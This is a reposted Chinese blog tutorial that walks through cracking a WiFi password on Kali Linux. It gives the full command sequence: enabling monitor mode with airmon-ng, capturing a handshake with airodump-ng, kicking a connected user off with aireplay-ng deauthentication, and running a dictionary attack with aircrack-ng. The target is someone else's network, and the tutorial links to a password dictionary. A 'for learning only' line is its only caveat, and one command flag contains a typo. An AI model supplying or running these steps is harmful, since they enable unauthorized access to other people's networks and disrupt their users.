前期准备
支持监听的网卡一张（大概20多块钱，不贵）
以及安装kali的VMware
kali官网
kali是什么？
——kali就是一个专门用于渗透行业的Linux发行版本，里面的工具非常丰富，本文就是建立在kali系统的支持之上的
https://www.kali.org/get-kali/#kali-virtual-machines
下载位置
下载了vm文件后可以直接用VMware打开，开机后
用户名：kali
密码：kali
正式开始
查看已安装网卡
以下的操作都需要提升权限，默认的root密码都是kali
#提升权限
sudo su
#查看网卡
airmon-ng
如果没有，请注意是否开启了网卡在虚拟机的连接，如下图
打开一个终端窗口
开启网卡监控
#开启网卡监控
airmon-ng start wlan0
可以使用命令看看网卡的名字是否改变
ifconfig
可以看到最后的那个名字已经改变
扫描wifi
airodump-ng wlan0mon
我们选择这个名叫adcd的wifi进行破解
等待抓取握手包
上述方法后，按ctrl+c，退出扫描
输入命令
airodump-ng -w freedom -c 11 --bssid 9C:2E:A1:20:65:BC wlan0mon -ignore-nefative-oneaa
-c：指定信道
-w：指定抓去握手包的存放位置或者名字，freedom是一会抓去的握手包的名字
–bssid：指定路由器的MAC
需要更改两个参数，信道和地址，这两个参数分别是扫描wifi时确定要破解的wifi参数
回车后，如下界面
从这个界面可以看出，选定的wifi一共有一个人连接，没有人连接的wifi是无法破解的
爆破 抓取握手包
这个步骤，说白了，就是将一个用户踢下线，让他重新连接WIFI，这样我们就能监听并且截取到握手包
重启一个终端窗口，一样的，申请管理员权限，密码默认：kali
sudo su
执行如下命令，同样的，需要输入上一步的两个参数，一个客户机的MAC，和路由器的MAC
aireplay-ng -0 2 -a 9C:2E:A1:20:65:BC -c A4:50:46:D8:74:29 wlan0mon
-a：指定路由器的MAC
-c：指定客户机的MAC
执行成功后如上图，表明该客户机以及被成功的踢下线，我们要做的就是等待客户机重新连接，他只要重新连接了，我们就能抓到握手包，进行跑字典破解
抓取成功
当第四步的终端窗口出现如下
表明成功抓取到握手包，进行下一个步骤
注意！！这里抓到包一定要按ctrl+c退出抓包，不然抓到的握手包用不了哦
开始破解
包在**/home/kali/**文件夹下，找到名叫freedom-01.ivs文件，这个就是抓到的包
然后就是字典，我个人建议将字典一同放在该目录下
然后再次重起一个终端窗口，输入如下命令
aircrack-ng -w pass.txt freedom-*.ivs
回车开始解密
能否成功看字典的是否强大，也看脸
成功界面
失败界面
温馨提示
kali学的好，牢饭少不了
本教程仅用于学习，请大家谨慎使用
点击下方原文链接按钮获取字典文件。
提取码：lbxk
版权声明：本文内容来自CSDN>作者 : 稳住，别浪，慢慢来，我能翻，遵循CC 4.0 BY-SA版权协议载请附上原文出处链接及本声明。
本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行可。
原文链接：https://blog.csdn.net/m0_46435741/article/details/120206498?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166640100516782425172404%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=166640100516782425172404&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~hot_rank-1-120206498-null-null.142^v59^pc_rank_34_1,201^v3^control_1&utm_term=kali&spm=1018.2226.3001.4187
如有涉及到侵权，请联系，将立即予以删除处理。
在此特别鸣谢：CSDN博主>稳住，别浪，慢慢来，我能翻的创作。
本文发布已获原作者亦世凡华、授权转载。
此篇文章的所有版权归原作者所有，与本公众号无关，商业转载建议请联系原作者授权，非商业转载请注明出处。
